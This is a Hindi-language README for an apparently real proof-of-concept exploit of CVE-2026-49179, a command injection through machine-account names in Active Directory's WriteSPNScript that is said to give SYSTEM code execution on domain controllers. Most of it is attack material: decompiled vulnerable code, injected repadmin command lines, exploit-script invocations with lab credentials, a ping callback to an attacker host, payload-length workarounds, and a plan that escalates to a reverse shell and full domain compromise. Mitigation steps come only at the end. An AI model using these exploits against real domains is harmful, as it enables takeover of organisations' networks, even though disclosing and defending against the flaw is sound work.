
CVE-2026-49179 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और एक्सप्लॉइट स्क्रिप्ट, जो Active Directory के WriteSPNScript फ़ंक्शन में एक कमांड इंजेक्शन है जो डोमेन कंट्रोलर पर SYSTEM RCE को सक्षम बनाता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (कमांड इंजेक्शन) |
| प्रभावित घटक | ntdsai.dll — WriteSPNScript फ़ंक्शन |
| प्रभावित सिस्टम | Windows Server 2016, 2019, 2022, 2025 (पैच-पूर्व) |
| हमला वेक्टर | प्रमाणित डोमेन उपयोगकर्ता (कोई भी) |
| प्रभाव | डोमेन कंट्रोलर पर SYSTEM के रूप में रिमोट कोड एक्ज़ीक्यूशन |
| प्रकाशित | अगस्त 2026 |
ntdsai.dll में WriteSPNScript फ़ंक्शन Active Directory रखरखाव संचालन के दौरान SPN (Service Principal Name) उपचार के लिए बैच स्क्रिप्ट कमांड उत्पन्न करता है। यह फ़ंक्शन repadmin.exe /writespn कमांड बनाने के लिए एक फ़ॉर्मेट स्ट्रिंग का उपयोग करता है, लेकिन Distinguished Name (DN) पैरामीटर को सैनिटाइज़ करने में विफल रहता है, जिससे & वर्ण (cmd.exe कमांड विभाजक) के माध्यम से कमांड इंजेक्शन की अनुमति मिलती है।
भेद्य फ़ॉर्मेट स्ट्रिंग:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
पैरामीटर: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN मशीन खाते के Common Name (CN) से प्राप्त होता है, जो खाता निर्माण के दौरान सेट किया जाता है। जब एक मशीन खाता उसके नाम में शेल मेटाकैरेक्टर के साथ बनाया जाता है, तो वे वर्ण उत्पन्न स्क्रिप्ट में बिना एस्केप के प्रवाहित होते हैं। जब cmd.exe स्क्रिप्ट निष्पादित करता है, तो & एक कमांड विभाजक के रूप में कार्य करता है, हमलावर-नियंत्रित कमांड को SYSTEM के रूप में निष्पादित करता है।
Active Directory में मशीन खातों के प्रबंधन के लिए दो प्राथमिक प्रोटोकॉल हैं:
यह सत्यापन विषमता मूल कारण है:
sAMAccountName में शेल मेटाकैरेक्टर की अनुमति देता है, जो CN बन जाता है और DN में प्रवाहित होता हैWriteSPNScript को पास किया जाता हैअपैच्ड बाइनरी में पते 0x1802a98a0 पर:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA DN को सीधे आउटपुट बफ़र में फ़ॉर्मेट करता है। कोई एस्केपिंग नहीं, कोई कोटिंग नहीं, कोई सैनिटाइज़ेशन नहीं।
CN=A&ping attacker&B वाली मशीन के लिए:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe इसे पाँच अलग कथनों के रूप में व्याख्यायित करता है:
इंजेक्टेड कमांड दो बार दिखाई देता है — एक बार DN पैरामीटर से और एक बार SPN पैरामीटर से (जिसमें मशीन नाम भी शामिल है)।
पैच किया गया WriteSPNScript (आकार: 1477 → 2005 बाइट्स) तीन परिवर्तन करता है:
दोनों DN और SPN पैरामीटर पर लागू दो नए सैनिटाइज़ेशन फ़ंक्शन:
EscapeForPowerShellSingleQuote() — सिंगल-कोटेड स्ट्रिंग्स से ब्रेकआउट को रोकने के लिए ' को एस्केप करता हैEscapeForNativeArgvBackslashesBeforeDoubleQuote() — नेटिव argv पार्सिंग के लिए " से पहले \ अनुक्रमों को एस्केप करता हैएक पहले के संशोधन में एक फ़ीचर फ़्लैग Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled था जो फिक्स को गेट करता था। अंतिम पैच में, यह फ़्लैग हटा दिया गया — फिक्स हमेशा सक्रिय रहता है और इसे अक्षम नहीं किया जा सकता।
spn_probe3.py का उपयोग करते हुए, परीक्षण किया गया कि SAMR मशीन खाता नामों में कौन से वर्ण स्वीकार करता है बनाम LDAP SPN मानों में क्या स्वीकार करता है:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
मुख्य निष्कर्ष: SAMR परीक्षण किए गए सभी 8 शेल मेटाकैरेक्टर की अनुमति देता है। LDAP उन सभी को अवरुद्ध करता है। इंजेक्शन वेक्टर SAMR-निर्मित मशीन नामों के माध्यम से है, SPN मानों के माध्यम से नहीं।
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
samwell.tarly के रूप में भी बनाया गया:
[+] Created C&ping a&D$, RID: 1138
पुष्टि की गई: सामान्य डोमेन उपयोगकर्ता (PR:L) नाम में & कमांड इंजेक्शन के साथ मशीन खाते बना सकता है।
सामान्य डोमेन उपयोगकर्ता ADIDNS रिकॉर्ड जोड़ सकते हैं। हमलावर की ओर इशारा करने वाला एक छोटा होस्टनाम बनाने के लिए dnstool.py का उपयोग किया गया:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC पर रिज़ॉल्यूशन सत्यापित:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
WriteSPNScript जो सटीक आउटपुट उत्पन्न करेगा उसका अनुकरण, DC पर निष्पादित:
फ़ाइल राइट प्रमाण:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP कॉलबैक प्रमाण:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
हमलावर tcpdump ने ICMP आगमन की पुष्टि की:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
फ़ाइल राइट और ICMP कॉलबैक दोनों DN के माध्यम से कमांड इंजेक्शन की पुष्टि करते हैं।
मशीन खाता sAMAccountName ट्रेलिंग $ से पहले लगभग 15 वर्णों तक सीमित है (NetBIOS संगतता बाधा)। यह पेलोड जटिलता को गंभीर रूप से सीमित करता है।
प्रभाव: मशीन नाम में सीधे IP पते, लंबे कमांड, या जटिल पेलोड एम्बेड नहीं कर सकते।
वर्कअराउंड: कॉलबैक के लिए छोटे DNS होस्टनाम का उपयोग करें (जैसे, हमलावर IP पर रिज़ॉल्व होने वाला एकल-वर्ण a)। पेलोड संक्षिप्त होने चाहिए:
A&ping a&B (11 वर्ण) — ICMP कॉलबैकA&echo X&B (11 वर्ण) — निष्पादन का प्रमाणA&calc&B (8 वर्ण) — DC पर GUI प्रमाणA&whoami&B (11 वर्ण) — संदर्भ पुष्टिजबकि SAMR शेल मेटाकैरेक्टर (& ' \ $ ( ) ! space`) स्वीकार करता है, यह फ़ाइल पथों और नेटवर्क पतों के लिए आवश्यक वर्णों को अस्वीकार करता है:
प्रभाव: पेलोड में सीधे IP पते, फ़ाइल पथ, या URL का उपयोग नहीं कर सकते।
वर्कअराउंड:
%TEMP%, %SYSTEMROOT%) का उपयोग करें — हालाँकि % स्वीकृति अपुष्ट हैWriteSPNScript WriteFile के माध्यम से एक स्क्रिप्ट फ़ाइल उत्पन्न करता है — यह सीधे कमांड निष्पादित नहीं करता। उत्पन्न स्क्रिप्ट को बाद की प्रक्रिया द्वारा निष्पादित किया जाना चाहिए। फ़ंक्शन इस दौरान कॉल किया जाता है:
dcdiag /fix — व्यवस्थापक डायग्नोस्टिक/रिपेयर टूल चलाता हैFixupSPNsOnComputerObject — विशेषता परिवर्तन के दौरान SPN फिक्सअपप्रभाव: इंजेक्शन तुरंत स्टेज किया जाता है (मशीन निर्माण), लेकिन निष्पादन DC पर ट्रिगर इवेंट पर निर्भर करता है। प्रतिकृति भागीदार के बिना एकल-DC वातावरण में, ट्रिगर के लिए एडमिन गतिविधि की आवश्यकता हो सकती है (जैसे, dcdiag /fix चलाना)।
उत्पादन वातावरण में: मल्टी-DC परिनियोजन में नियमित प्रतिकृति चक्र होते हैं। प्रतिकृति के दौरान खोजे गए SPN बेमेल विरोध समाधान के हिस्से के रूप में स्वचालित रूप से WriteSPNScript को ट्रिगर करेंगे।
डिफ़ॉल्ट ms-DS-MachineAccountQuota प्रति उपयोगकर्ता 10 है। प्रत्येक इंजेक्शन प्रयास एक स्लॉट का उपभोग करता है। नामों में विशेष वर्णों वाले मशीन खातों को मानक टूल के माध्यम से हटाना कठिन है।
प्रभाव: प्रति उपयोगकर्ता खाता सीमित प्रयास। विफल प्रयास कोटा बर्बाद करते हैं।
वर्कअराउंड: प्रत्येक डोमेन उपयोगकर्ता को अपना कोटा मिलता है। कई उपयोगकर्ताओं वाले वातावरण में, हमलावर कई खातों का उपयोग कर सकता है।
नामों में &, $, (, ) के साथ बनाए गए मशीन खातों को मानक AD प्रबंधन टूल (ADUC, PowerShell Remove-ADComputer) के माध्यम से आसानी से हटाया नहीं जा सकता क्योंकि विशेष वर्ण कमांड पार्सिंग में हस्तक्षेप करते हैं। यह फोरेंसिक कलाकृतियाँ छोड़ता है।
एक वैकल्पिक शोषण पथ — एक साफ-नाम वाली मशीन बनाएँ, वैध SPN सेट करें, फिर DN इंजेक्ट करने के लिए नाम बदलें — का परीक्षण किया गया लेकिन LDAP ModifyDN (रीनेम) ऑपरेशन के लिए उन्नत विशेषाधिकार आवश्यक हैं:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
प्रभाव: रीनेम रणनीति PR:L के लिए व्यवहार्य नहीं है। इंजेक्शन वर्णों के साथ सीधा SAMR निर्माण PR:L पथ है।
&<command>& के साथ मशीन खाता बनाता हैWriteSPNScript को ट्रिगर करता है जो बिना एस्केप के repadmin.exe कमांड उत्पन्न करता हैDay 1: Attacker (any domain user) runs exploit
- Creates machine "A&ping a&B$" via SAMR
- Adds DNS record "a" pointing to their C2 server
- Injection is staged — attacker waits
Day N: Admin runs dcdiag /fix (routine maintenance)
- WriteSPNScript processes the malicious machine account
- Generates repadmin command with unescaped DN
- cmd.exe executes "ping a" as SYSTEM → confirms callback
Day N: Attacker upgrades payload
- Creates new machine with reverse shell payload
- Waits for next maintenance cycle or replication event
- SYSTEM shell on DC → full domain compromise
Microsoft के अगस्त 2026 Patch Tuesday से सुरक्षा अपडेट लागू करें
असामान्य वर्णों के लिए मशीन खातों का ऑडिट करें:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
सामान्य उपयोगकर्ताओं को मशीन खाते बनाने से रोकने के लिए ms-DS-MachineAccountQuota को 0 पर सेट करें:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
खाता नामों में असामान्य वर्णों के लिए Event ID 4741 (कंप्यूटर खाता बनाया गया) की निगरानी करें
यदि सामान्य उपयोगकर्ताओं द्वारा आवश्यक न हो तो ADIDNS रिकॉर्ड निर्माण को प्रतिबंधित करें
| प्रोटोकॉल | वर्ण सत्यापन | शेल मेटाकैरेक्टर |
|---|
| LDAP (SPN मान) | सख्त — CONSTRAINT_ATT_TYPE & ; | ' \ $ ( )` को अस्वीकार करता है | अवरुद्ध |
| SAMR (मशीन नाम) | ढीला — बुनियादी खाता नाम प्रारूप को मान्य करता है | अनुमत: & ' \ $ ( ) ! space` |
| # | कथन | परिणाम |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | विफल (काटा गया DN) |
| 2 | ping attacker | इंजेक्टेड — SYSTEM के रूप में निष्पादित |
| 3 | B,CN=Computers,DC=... HOST/A | विफल (मान्य कमांड नहीं) |
| 4 | ping attacker | इंजेक्टेड — फिर से निष्पादित (SPN पैरामीटर से) |
| 5 | B | विफल (मान्य कमांड नहीं) |
| बेस (भेद्य) | पैच किया गया |
|---|
| फ़ंक्शन | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| कोटिंग | कोई नहीं | सिंगल-कोटेड पैरामीटर |
| आउटपुट | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| होस्ट | भूमिका | IP | OS |
|---|
| WINTERFELL | डोमेन कंट्रोलर | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| डोमेन | north.sevenkingdoms.local | ||
| निम्न-विशेषाधिकार उपयोगकर्ता | samwell.tarly / Heartsbane | सामान्य डोमेन उपयोगकर्ता | |
| एडमिन उपयोगकर्ता | robb.stark / sexywolfy | डोमेन एडमिन |
| चरण | क्रिया | अभिनेता | परिणाम |
|---|
| 1 | SAMR मशीन नामों में & स्वीकार करता है | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP SPN मानों में & अस्वीकार करता है | samwell.tarly | 100% अस्वीकृति |
| 3 | कॉलबैक के लिए DNS रिकॉर्ड निर्माण | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | इंजेक्शन CN के साथ मशीन खाता | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | cmd इंजेक्शन के माध्यम से फ़ाइल राइट | DC (अनुकरण WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | cmd इंजेक्शन के माध्यम से ICMP कॉलबैक | DC (अनुकरण WriteSPNScript) | 3 पिंग प्राप्त |
| अस्वीकृत | उपयोग केस अवरुद्ध |
|---|
. (period) | IP पते (192.168.1.1), FQDN |
\ (backslash) | Windows पथ (C:\Windows\...) |
/ (forward slash) | URL पथ, Unix पथ |
: (colon) | ड्राइव अक्षर (C:), पोर्ट नंबर |
" (double quote) | पेलोड में कोटिंग/एस्केपिंग |
< > | ; , = + * ? | रीडायरेक्शन, पाइपिंग, वाइल्डकार्ड |
| फ़ाइल | विवरण |
|---|
poc/spn_probe.py | LDAP SPN मानों में सभी 28 शेल मेटाकैरेक्टर का परीक्षण करता है |
poc/spn_probe2.py | Unicode फुलविड्थ/होमोग्लिफ़ बायपास + DRSUAPI ट्रांसपोर्ट का परीक्षण करता है |
poc/spn_probe3.py | SAMR बनाम LDAP बनाम DRSUAPI वर्ण स्वीकृति का परीक्षण करता है |
poc/spn_exploit.py | रीनेम रणनीति के माध्यम से शोषण (create → SPN → rename → inject) |
poc/spn_prl_exploit.py | PR:L शोषण (सीधा SAMR निर्माण + वैकल्पिक dNSHostName ट्रिगर) |
nspi_diff_analysis.txt | ntdsai.dll का पूर्ण बाइनरी डिफ (बेस बनाम पैच किया गया) |